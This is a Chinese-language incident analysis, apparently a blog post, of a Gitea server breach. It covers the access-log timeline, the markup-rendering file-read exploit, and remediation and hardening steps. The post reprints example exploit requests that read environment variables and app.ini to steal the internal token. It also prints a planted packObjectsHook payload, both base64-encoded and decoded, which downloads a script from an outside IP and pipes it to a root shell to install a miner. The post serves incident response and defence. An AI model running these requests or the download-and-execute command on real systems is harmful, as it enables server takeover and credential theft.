分析 (包含時間線)

7/31~8/15

有零星的bot嘗試註冊但過不了email驗證，大約建立了36個垃圾帳號。

8/15 下午 7:52

一開始先是先訪問 /user/sign_up ，註冊垃圾帳號。

LOG 後面的 "IP位置" 為 x-forwarded-for IP (Client IP)

[15/Aug/2026:19:52:11 +0800] "GET / HTTP/1.1" 200 4907 "-" "python-requests/2.34.2" "149.22.86.27"
[15/Aug/2026:19:52:13 +0800] "GET /user/sign_up HTTP/1.1" 200 4774 "-" "python-requests/2.34.2" "149.22.86.27"
[15/Aug/2026:19:52:13 +0800] "POST /user/sign_up HTTP/1.1" 200 4271 "-" "python-requests/2.34.2" "149.22.86.27"
[15/Aug/2026:19:52:14 +0800] "POST /user/sign_up HTTP/1.1" 200 4273 "-" "python-requests/2.34.2" "149.22.86.27"
[15/Aug/2026:19:52:15 +0800] "POST /user/sign_up HTTP/1.1" 200 4271 "-" "python-requests/2.34.2" "149.22.86.27"
[15/Aug/2026:19:52:16 +0800] "POST /user/sign_up HTTP/1.1" 200 4272 "-" "python-requests/2.34.2" "149.22.86.27"
[15/Aug/2026:19:52:16 +0800] "GET /user/sign_up HTTP/1.1" 200 4772 "-" "python-requests/2.34.2" "149.22.86.27"
[15/Aug/2026:19:52:17 +0800] "POST /user/sign_up HTTP/1.1" 200 4271 "-" "python-requests/2.34.2" "149.22.86.27"
[15/Aug/2026:19:52:17 +0800] "GET /user/sign_up HTTP/1.1" 200 4774 "-" "python-requests/2.34.2" "149.22.86.27"
[15/Aug/2026:19:52:18 +0800] "POST /user/sign_up HTTP/1.1" 200 4271 "-" "python-requests/2.34.2" "149.22.86.27"
[15/Aug/2026:19:52:18 +0800] "GET /user/sign_up HTTP/1.1" 200 4774 "-" "python-requests/2.34.2" "149.22.86.27"
[15/Aug/2026:19:52:18 +0800] "POST /user/sign_up HTTP/1.1" 200 4271 "-" "python-requests/2.34.2" "149.22.86.27"

查API和取得repo資訊

[15/Aug/2026:19:52:19 +0800] "GET /api/v1/repos/search?limit=50 HTTP/1.1" 200 1686 "-" "python-requests/2.34.2" "149.22.86.27"
[15/Aug/2026:19:52:19 +0800] "GET /wei/Launcher.git/info/refs?service=git-upload-pack HTTP/1.1" 200 431 "-" "python-requests/2.34.2" "149.22.86.27"
[15/Aug/2026:19:52:19 +0800] "GET /wei/Launcher HTTP/1.1" 200 16869 "-" "python-requests/2.34.2" "149.22.86.27"

接下來應該利用了CVE-2026-59774漏洞(具體payload並不是非常清楚)

GitHub報告

透過向 /{user}/{repoName}/markup POST 一個包含 #+INCLUDE 指令的Org-mode標記(what is this? 似乎跟標記語言渲染器有關)的request資料給gitea ，使攻擊者可以讀取敏感內容，特別是INTERNAL_TOKEN (gitea 內部api token)。

Request Data Example (Read env var):

{
  "Mode": "file",
  "FilePath": "poc.org",
  "Text": "#+INCLUDE: "/proc/self/environ" src 123", # This will output the container environment variable
  "Context": "/wei/Launcher/src/main/" # repo url
}

Request Data Example 2 (Read app config):

{
  "Mode": "file",
  "FilePath": "poc.org", # Must be .org entenstion to trigger this exploit.
  "Text": "#+INCLUDE: "<GITEA_CUSTOM>/conf/app.ini" src 123", 
  "Context": "/wei/Launcher/src/main/" # repo url~~~~
}

[15/Aug/2026:19:52:20 +0800] "POST /wei/Launcher/markup HTTP/1.1" 200 232 "-" "python-requests/2.34.2" "149.22.86.27"
"GET /wei/Launcher HTTP/1.1" 200 16869 "-" "python-requests/2.34.2" "149.22.86.27"
[15/Aug/2026:19:52:20 +0800] "GET /wei/Launcher HTTP/1.1" 200 16869 "-" "python-requests/2.34.2" "149.22.86.27"
"POST /wei/Launcher/markup HTTP/1.1" 200 1218 "-" "python-requests/2.34.2" "149.22.86.27"

拿到內部token後，訪問api的內部日誌記錄器注入 Git hook (payload應該是此時注入到/data/gitea/home/.gitconfig)

[15/Aug/2026:19:52:21 +0800] "POST /api/internal/manager/add-logger HTTP/1.1" 200 7 "-" "python-requests/2.34.2" "149.22.86.27"

嘗試毀屍滅跡

 [15/Aug/2026:19:52:21 +0800] "POST /api/internal/manager/remove-logger/router/pwnhook HTTP/1.1" 200 53 "-" "python-requests/2.34.2" "149.22.86.27"

透過 POST git-upload-pack 觸發在/data/gitea/home/.gitconfig內的payload並利用packObjectsHook會在clone或fetch執行的行為來執行惡意程式

[15/Aug/2026:19:52:22 +0800] "GET /wei/Launcher.git/info/refs?service=git-upload-pack HTTP/1.1" 200 431 "-" "python-requests/2.34.2" "149.22.86.27"

Payload 解析

在/data/gitea/home/.gitconfig 內:

packObjectsHook = echo KGN1cmwgLWZzU0wgLS1jb25uZWN0LXRpbWVvdXQgNSAnaHR0cHM6Ly9zaXRlZ28tc3RlcC1odS5wYWdlcy5kZXYvc2V0dXAtbW9uJyAyPi9kZXYvbnVsbCB8fCBidXN5Ym94IHdnZXQgLXFPLSAtLXRpbWVvdXQ9NSAnaHR0cHM6Ly9zaXRlZ28tc3RlcC1odS5wYWdlcy5kZXYvc2V0dXAtbW9uJyAyPi9kZXYvbnVsbCB8fCB3Z2V0IC1xTy0gLS10aW1lb3V0PTUgJ2h0dHBzOi8vc2l0ZWdvLXN0ZXAtaHUucGFnZXMuZGV2L3NldHVwLW1vbicgMj4vZGV2L251bGwgfHwgcHl0aG9uMyAtYyAiaW1wb3J0IHVybGxpYi5yZXF1ZXN0O3ByaW50KHVybGxpYi5yZXF1ZXN0LnVybG9wZW4oJ2h0dHBzOi8vc2l0ZWdvLXN0ZXAtaHUucGFnZXMuZGV2L3NldHVwLW1vbicsdGltZW91dD01KS5yZWFkKCkuZGVjb2RlKCkpIiAyPi9kZXYvbnVsbCB8fCBwcmludGYgJ0dFVCAvc2V0dXAtbW9uIEhUVFAvMS4wXHJcbkhvc3Q6IHNpdGVnby1zdGVwLWh1LnBhZ2VzLmRldlxyXG5cclxuJyB8IG9wZW5zc2wgc19jbGllbnQgLXF1aWV0IC1jb25uZWN0ICdzaXRlZ28tc3RlcC1odS5wYWdlcy5kZXYnOic0NDMnIDI+L2Rldi9udWxsIHwgdGFpbCAtbiArNSB8fCB0cnVlKSB8IHRyIC1kICdccicgfCBzaCAtYyAnY29tbWFuZCAtdiBzdWRvID4vZGV2L251bGwgMj4mMSAmJiBleGVjIHN1ZG8gc2ggLXMgLS0gIiQxIiB8fCBleGVjIHNoIC1zIC0tICIkMSInIHNoICdHRzMn | base64 -d | sh -s -- ;#router: completed POST /api/internal/manager/add-logger for 172.68.102.22:0, 200 OK in 0.4ms @ private/manager.go:104(private.AddLogger) /mnt/server_storage/gitea/data/gitea/home/.gitconfig:26: packObjectsHook = echo KGN1cmwgLWZzU0wgLS1jb25uZWN0LXRpbWVvdXQgNSAnaHR0cDovLzE3OC4xMDUuMjAuMTMxL3NhZmUnIDI+L2Rldi9udWxsIHx8IGJ1c3lib3ggd2dldCAtcU8tIC0tdGltZW91dD01ICdodHRwOi8vMTc4LjEwNS4yMC4xMzEvc2FmZScgMj4vZGV2L251bGwgfHwgd2dldCAtcU8tIC0tdGltZW91dD01ICdodHRwOi8vMTc4LjEwNS4yMC4xMzEvc2FmZScgMj4vZGV2L251bGwgfHwgcHl0aG9uMyAtYyAiaW1wb3J0IHVybGxpYi5yZXF1ZXN0O3ByaW50KHVybGxpYi5yZXF1ZXN0LnVybG9wZW4oJ2h0dHA6Ly8xNzguMTA1LjIwLjEzMS9zYWZlJyx0aW1lb3V0PTUpLnJlYWQoKS5kZWNvZGUoKSkiIDI+L2Rldi9udWxsIHx8IHByaW50ZiAnR0VUIC9zYWZlIEhUVFAvMS4wXHJcbkhvc3Q6IDE3OC4xMDUuMjAuMTMxXHJcblxyXG4nIHwgb3BlbnNzbCBzX2NsaWVudCAtcXVpZXQgLWNvbm5lY3QgJzE3OC4xMDUuMjAuMTMxJzonODAnIDI+L2Rldi9udWxsIHwgdGFpbCAtbiArNSB8fCB0cnVlKSB8IHRyIC1kICdccicgfCBzaCAtYyAnY29tbWFuZCAtdiBzdWRvID4vZGV2L251bGwgMj4mMSAmJiBleGVjIHN1ZG8gc2ggLXMgLS0gIiQxIiB8fCBleGVjIHNoIC1zIC0tICIkMSInIHNoICdHRzMn | base64 -d | sh -s -- ;#router: completed POST /api/internal/manager/add-logger for 172.68.102.22:0, 200 OK in 0.8ms @ private/manager.go:104(private.AddLogger)

其中有個內容是base64，解析後內容如下:

(curl -fsSL --connect-timeout 5 'http://178.105.20.131/safe' 2>/dev/null || busybox wget -qO- --timeout=5 'http://178.105.20.131/safe' 2>/dev/null || wget -qO- --timeout=5 'http://178.105.20.131/safe' 2>/dev/null || python3 -c "import urllib.request;print(urllib.request.urlopen('http://178.105.20.131/safe',timeout=5).read().decode())" 2>/dev/null || printf 'GET /safe HTTP/1.0\r\nHost: 178.105.20.131\r\n\r\n' | openssl s_client -quiet -connect '178.105.20.131':'80' 2>/dev/null | tail -n +5 || true) | tr -d '\r' | sh -c 'command -v sudo >/dev/null 2>&1 && exec sudo sh -s -- "$1" || exec sh -s -- "$1"' sh 'GG3'

這個玩兒會從http://178.105.20.131/safe下載shellcode，然後用你的伺服器當苦工來挖礦 (簡單來說是這樣，這裡面還有很夭壽的部分，利如持久化和自動更新腳本)

如果我也遇到了，該怎麼辦?

假如你的 /data/gitea/home/.gitconfig 是相似的內容，可以參考此補救方式

Rootless & Rootful (host沒有入侵跡象) Gitea 容器

透過 podman stop gitea 關閉container，並關閉一切會將gitea重新啟動的unit file。
備份 /data (rootless: /var/lib/gitea) 內的 gitea/gitea.db、gitea/custom (如果有)、gitea/conf/app.ini，何在 /var/lib/git 的 repositories 和 lfs （如果有）
重新佈署一個 gitea container ，/data (或 /var/lib/gitea) 請使用新的路徑 (不要使用舊資料)
將 git/repositories 拷貝回新 /data (或 /var/lib/git) 內 (如果和 local repo比對沒有被惡意修改的話)
(可選) 將 gitea/gitea.db 拷貝回新 /data (或 /var/lib/gitea/data) 內 (這會回復gitea的資料，如果你的設定有被惡意修改，務必在完成後檢查並刪除可疑的資料(token、refresh token、credentials、accounts)，另外十分建議你更改密碼!
啟動新gitea容器並初始話設定，透過編輯器打開新 /data/gitea/conf/app.ini ( /var/lib/gitea/custom/conf/app.ini) ，將可以搬移的項目寫回新設定檔(token、secret建議不要修改，可能已洩漏!)

Rootful Gitea 容器 (host成功入侵）

由於shellcode包含保活代碼，建議你執行 Rootless Gitea 容器 的1~3步後直接重灌伺服器，以避免系統殘留惡意程式。

如果你是Gitea的使用者，可以做如下操作來保護伺服器

透過 Nginx 反向代理，屏蔽掉訪問 /api 下路徑的請求。(如果你對api沒有需求的話)
關閉註冊功能
關閉 Gitea 公開 API (如果關閉內部API會導致某些問題，可以退而求其次使用此方案)
將 Gitea 升級到1.27.1或更新版本來修復這個漏洞

<weispace.net>

Gitea 驚魂記